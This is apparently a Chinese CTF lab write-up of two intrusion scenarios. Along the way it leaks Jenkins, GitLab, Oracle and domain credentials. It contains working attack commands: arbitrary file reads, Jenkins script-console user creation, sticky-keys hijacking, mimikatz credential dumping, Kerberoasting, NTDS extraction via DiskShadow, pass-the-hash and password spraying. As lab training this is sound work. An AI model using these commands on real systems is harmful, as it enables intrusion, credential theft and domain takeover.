两个有点类似,一起
春秋云镜 Privilege
flag1
fscan看到开了8080和3306,应该是windows,还有个www.zip备份文件

访问8080,看到jenkins

还有个80,是wordpress

用wpscan扫一下
1 | wpscan --disable-tls-checks --url http://39.98.118.36 --stealthy |
探测出了wordpress版本6.2.2,blossom-shop主题,感觉没什么用

下载www.zip
用Kunlun-M审下sink,刚好想用这个,我用的2.6.5,先装了一遍2.6.30,dockerfile有点问题
https://github.com/LoRexxar/Kunlun-M
改下dockerfile,加个pkg-config
1 | docker build -t kunlun-m -f ./docker/Dockerfile . |

然后在9999端口能访问
直接docker里面上传源码开扫
1 | python3 kunlun.py scan -t WWW/ |

好像有点狗屎,扫的时候老是报错,不如古法seay一根了
tools/content-log存在任意文件读取


前面提到开了3306,直接读windows下的flag
1 | http://39.98.118.36/tools/content-log.php?logfile=C%3A%2F%2FUsers%2FAdministrator%2Fflag%2Fflag01.txt |

flag01: flag{235e5db5-23e9-452f-9412-90a54a2cfc3a}
flag2
有hint C:\ProgramData\Jenkins.jenkins, 读jenkins配置文件

Jenkins 的默认管理员用户名是: admin
密码存储在你服务器上的一个特定文件中。文件的路径通常在 Jenkins 首页或日志中有提示。
最常见的路径是:
Linux/macOS/Docker 环境: /var/lib/jenkins/secrets/initialAdminPassword
Windows 环境: C:\Program Files\Jenkins\secrets\initialAdminPassword
那么这里读C:\ProgramData\Jenkins.jenkins\secrets\initialAdminPassword
得到510235cf43f14e83b88a9f144199655b
进到jenkins后台

Jenkins 作为一个高度可扩展的CI/CD工具,后台可以直接命令执行很正常吧。正常功能
网上很多jenkins后台命令执行,还能绕检测
脚本命令行接口位于/manage/script,看下什么权限先

域管理员权限,借助前面的3306,直接添加用户
1 | println "net user godown qwer1234! /add".execute().text |
rdp上去,上传fscan扫下内网
1 | C:\Users\godown\Desktop>ipconfig |
整理一下
1 | 172.22.14.7 本机 |
flag2 hint 尝试获取Git API Token,然后应该是在gitlab上获取oracle账密

在jenkins配置目录下找到了credentials.xml,里面有GitLabApiTokenImpl

直接问gpt怎么解密

1 | import com.cloudbees.plugins.credentials.CredentialsProvider |

得到 gitlab api token
1 | API Token: glpat-7kD_qLH2PiQv_ywB9hz2 |
前面fscan扫出的gitlab机器为172.22.14.16,仓库的通用接口是api/v4/projects/,带上token可以访问
先代理出来,然后curl
1 | gost -L socks5://:5555?bind=true |
1 | curl --silent --header "PRIVATE-TOKEN: glpat-7kD_qLH2PiQv_ywB9hz2" "http://172.22.14.16/api/v4/projects/" |
一共5个project

重点关注internal-secret和xradmin仓库(0&1)

git clone下来
1 | git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/internal-secret.git |
internal-secret仓库是一堆账密

xradmin扒下来是ruoyi的源码
ruoyi用的spring,配置文件里肯定有数据库的账密,在ruoyi-admin下application-druid中找到了数据库的账密

url: jdbc:oracle:thin:@172.22.14.31:1521/orcl
username: xradmin
password: fcMyE8t9E4XdsKf
试了下Mdut连不上,用odat
ODAT(Oracle数据库攻击工具)可远程测试Oracle数据库的安全性。是一个rce+提权的工具
根据官网,数据库中有一个有效的Oracle账户,用odat可能将权限从普通DBA升级为SYSDBA
DBA 是 Oracle 数据库中的预定义角色,包含了一系列数据库管理权限。
SYSDBA 是 Oracle 数据库的最高权限级别,用于数据库实例的管理。
既然能提权,那直接添加用户
1 | sudo vi /etc/proxychains4.conf |

xfreerdp顺便连了
1 | apt install freerdp3-x11 |

flag02: flag{b6d04188-c08d-4faf-9ede-352e97bcfdd4}
flag3
前面的账密,可以用cme去域内爆破,不过有个主机是XR-0923,账户里面也有一个XR-0923,可以直接rdp上去172.22.14.46
XR-0923 | zhangshuai | wSbEajHzZs
net user zhangshuai看下权限,权限不够的话要提权
这里zhangshuai没在Administrator组里面,所以要提权

whoami /priv看下,有SeChangeNotifyPrivilege权限(另外一个已被禁用)

根据下文,如果目标开了winrm服务(默认端口5985或者5986)(通常Server 2012及之后的版本直接开启,这里是winServer 2022)
https://forum.butian.net/share/2080

一般是用Winrs.exe进行认证登陆,但是这个工具不支持hash认证,evil-winrm支持hash认证winrm服务
另外,注册表中LocalAccountTokenFilterPolicy的值默认为0,在这种默认情况下,只有系统默认管理员账户Administrator(SID 500)拥有凭证可以进行对主机的连接,本地管理员组的其他用户登录时将会显示拒绝访问
但是域管理账户在域内主机中登录,会自动将域管用户添加到本地管理组中,如果是将普通域用户添加到系统本地管理员组,两种方法是默认bypassuac的,这时候域管理账户与普通域用户是拥有WinRM远程连接的凭证,无需要修改注册表就可以使用WinRM进行远程连接。
这里zhangshuai明显是一个普通域用户,所以可以winrm登陆上去,先尝试修改访问权限
1 | winrm set winrm/config/client @{TrustedHosts="172.22.14.7"} |

我曹,软的不行,那来硬的,用evil-winrm认证
1 | proxychains4 evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs |
winrm认证上去后多出了一个seRestorePrivilege权限

根据上文,该权限对当前系统任意文件都有写权限

劫持一下粘滞键,因为粘滞键包是system权限
1 | ren c:\windows\system32\sethc.exe c:\windows\system32\sethc.bak |
rdp上去,Win+L进锁屏页面(千万别登陆进去,因为锁屏页面是system权限,登进去再按就是普通用户权限了),然后按5次shift

flag03: flag{78e30f67-3f8f-4945-8288-44d7373d056f}
flag4
添加用户,方便一点
1 | net user godown qwer1234! /add |
上传mimikatz,然后dump票据(管理员权限运行
1 | privilege::debug |
用xiaorang.lab的域机器用户 XR-0923$ NTLM
这里用时间最近的一个NTLM,因为前面的可能过期了。
从
lsass.exe进程的内存中提取登录凭据。
lsass.exe是 Windows 的“本地安全认证子系统服务”。它负责管理系统的安全策略、用户认证,并在内存中缓存用户的登录凭据,以便用于后续的网络资源访问(如文件共享、访问其他服务器等)
这里结尾有个$,与标准用户账户相比,机器账户的名称末尾附加了“$”符号,利用该账户进行Kerberosast攻击

- 目的:发现域中所有注册了SPN的服务账户
- 原理:SPN是服务在Kerberos认证中的唯一标识符。查询SPN可以找出哪些账户用于运行服务(如SQL服务、Web服务等)
- 意义:服务账户通常具有较高权限

1 | proxychains4 impacket-GetUserSPNs -request -dc-ip 172.22.14.11 xiaorang.lab/XR-0923$ -hashes ':348bd1c31a87e92b4d7b14b7d44d3e8c' |
1 | ──(root㉿kali)-[/home/kali] |
扫到一个tianjing用户的krb5tgs,白银票据的打法
用hashcat爆破之
hashcat -m 13100 -a 0 1.txt rockyou.txt –force

密码为DPQSXSXgh2
根据前面的Kerberosast:
WWW/xr-0923.xiaorang.lab/IIS tianjing CN=Remote Management Users
该用户也是Remote Management User,和zhangshuai的机器一样,推测也开了5985端口的winrm服务
1 | proxychains evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2 |
登上去后发现也是开了SeRestorePrivilege

故技重施再打一遍:
1 | proxychains4 xfreerdp3 /v:172.22.14.11 /u:tianjing /p:DPQSXSXgh2 |
报错,配置了不能rdp上去

那各种劫持就没法用了
里面有个SeBackupPrivilege,有备份权限,虽然这里不能直接用type去读

- 卷影拷贝:
卷影拷贝是Windows操作系统中的一种快照技术,由卷影复制服务提供支持。它能在文件系统层面创建时间点副本(Point-in-Time Copy),即使文件正在被使用或锁定,也能生成一致的副本。
低权限访问:默认情况下,用户只需备份操作员权限即可创建卷影拷贝。
一般打法如下:
1
2
3
4
5
6
7
8
9 ># 创建C盘的卷影拷贝
>vssadmin create shadow /for=C:
># 从卷影拷贝中复制SAM、SYSTEM等文件
>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .
># 使用mimikatz/secretsdump提取哈希
>secretsdump -sam SAM -system SYSTEM LOCAL
有了SAM和SYSTEM就能提取哈希,刚好11主机是域控,取出的hash也就是域控hash
本地windows创建一个raj.dsh,确保为windows格式
1 | set context persistent nowriters |
DiskShadow命令,用于创建和暴露卷影拷贝(Volume Shadow Copy)
set context persistent:设置卷影拷贝为持久性,不会自动删除nowriters:创建时不通知应用程序(如数据库)刷新数据到磁盘**
add volume c:**:将C盘添加到快照集**
alias raj**:为这个卷分配别名”raj”(攻击者随意命名)create:根据前面的设置,为C盘创建时间点快照
**
%raj%**:引用前面定义的别名**
expose ... g:**:将卷影拷贝挂载为g盘
然后上传
1 | upload raj.dsh |
用diskshadow执行dsh脚本
1 | diskshadow /s raj.dsh |
如果报错无法将 .cab存储到当前目录中,是因为对当前目录没有写权限,去c盘下创建一个tmp执行
1 | cd c: |

复制文件到当前目录(RoboCopy相当于增强的copy),并下载sam表
1 | RoboCopy /b g:\windows\ntds . ntds.dit |
从g:\windows\ntds目录复制ntds.dit文件到当前目录(.)并命名为ntds.dit
现在ntds.dit就是windows的备份文件,里面有SAM
现在转存下载system,system位于注册表中
1 | reg save HKLM\SYSTEM system |
用secretdump解密
1 | impacket-secretsdump -ntds ntds.dit -system system local |

pth上去
1 | proxychains4 crackmapexec smb 172.22.14.11 -u administrator -H 70c39b547b7d8adec35ad7c09fb1d277 -d xiaorang.lab -x "type C:\\Users\Administrator\flag\f*" |

flag04: flag{e69b59c8-4b64-43ad-a8e3-c371f315826f}
春秋云镜 ThermalPower
flag1
fscan扫,有spring heapdump泄露

访问http://39.98.107.30:8080/actuator/heapdump
JDumpSpider分析,找到Shiro key QZYysgMYhG6/CzIJlVpR2g==

直接上shiro工具,注个哥斯拉马

进来就是root


flag01: flag{e85614ea-b098-4b8e-b91a-af61ef4719d7}
flag2
上传fscan和gost
当然fscan扫的时候shell也会卡住,要想完整的交互式shell还是得传vshell上去
这里也能顺利扫完

整理一下
1 | 172.22.17.213 本机 |
gost代理出来
1 | gost -L socks5://:5555?bind=true |
我曹里的,sb哥斯拉命令执行超时了会自己断掉终端,导致gost中途断掉(可以起gost后马上把那个终端窗口关掉,这样就不会触发shell管理器的关闭发送ctrl+c了,不过挂起时间长了还是会掉,二刷还是上vshell稳定)

直接看内部资料

初始密码由账户名+@+工号组成,例如zhangsan@0801

这里有一个txt记录了账密,还有一个新的26网段,通讯录里有账号和工号


排个序,制作出密码
1 | WIN-ENGINEER\chenhua/chenhua@0813 |
域内喷洒一波,在kali 2024上依旧python版本过高,用的kali 2023,可以做user.txt和pass.txt两个字典,这里我先试了直接爆破rdp,结果socket一直error,无奈先爆破一首smb
1 | proxychains4 crackmapexec smb 172.22.17.6 -d xiaorang.lab -u ./user.txt -p ./pass.txt |
爆破smb能秒出结果,也就是第一条就能登陆

把第一条删去后,发现zhaoli也能登陆,额其实每一条都能登陆,每个账户都是可用的。rdp上去
1 | proxychains4 -q xfreerdp /u:chenhua /p:chenhua@0813 /v:172.22.17.6:3389 |
查看一下特权

Privilege靶场是利用evil-winrm(需要目标开了winrm服务)获取seRestore特权打粘滞劫持,SeBackupPrivilege打的卷影拷贝读出SAM和system,进而secretdump下hash
这里有所有权限的介绍
https://github.com/gtworek/Priv2Admin
比如表中的,SeChangeNotify就是人人享有的特权

直接看别人wp,这里打SeBackupPrivilege,那么为什么可以打这个呢,又为什么只打这个呢
net user chenhua查看当前的本地组(虽然这个组并没有什么实际意义

我就偏不打SeBackupPrivilege,就得打seRestore

1 | Import-Module .\EnableSeRestorePrivilege.ps1 |
成功拿下,根本不用卷影拷贝好吧

可以用用EnableSeBackupPrivilege打卷影拷贝,也可以用EnableSeRestorePrivilege打劫持
https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeBackupPrivilege.ps1
https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1
1 | type C:\Users\Administrator\flag\flag02.txt |

好像不能copy,新添加一个administrator用户rdp上去


flag02: flag{1a62047c-7f28-44a1-8760-671da6b7d580}
flag3
这个不是我能做的了,随便划划水了
扫这个新的网段 172.22.26.1/24

额cmd被劫持了,五次shift打开

扫到一个172.22.26.11主机,1433 (mssql?) 有弱口令sa 123456
用Administrator/IYnT3GyCiy3 rdp上去,这个mssql也就用不到了,不过这里不能通过最边界的机器去rdp了,因为跨网段了,用这个控制下来的172.22.17.6去rdp
rdp套娃rdp了,进来先弹出wincc

点第三个泡泡得到flag3

flag{bcd080d5-2cf1-4095-ac15-fa4bef9ca1c0}
flag4
win+d最小化窗口返回桌面,桌面壁纸被换为了勒索壁纸,本来Desktop目录有flag04的。。

C盘下面能找到勒索病毒Lockyou.exe
下面不会了,直接粘贴
这个exe是.net程序(用linux的file命令可以知道)
然后就用dnSpy反编译出来,看Encrypt的命令
病毒使用AESCrypto加解密,需要拿到AES_KEY,而AES_KEY需要通过privateKey和encryptedAesKey才能得到。这两个文件在题目的百度网盘给出了
通过网站https://www.ssleye.com/ssltool/pem_xml.html,将 XML 格式转成 PEM 格式,得到 PRIVATE KEY
然后通过[https://www.lddgo.net/encrypt/rsa,再把 aes key解出来,输入内容为encryptedAesKey 中加密的内容,解密后得到一串字符。
然后一次AES解密桌面上的ScadaDB.sql.locky得到flag4
1 | from Crypto.Cipher import AES |
得到最后一个flag
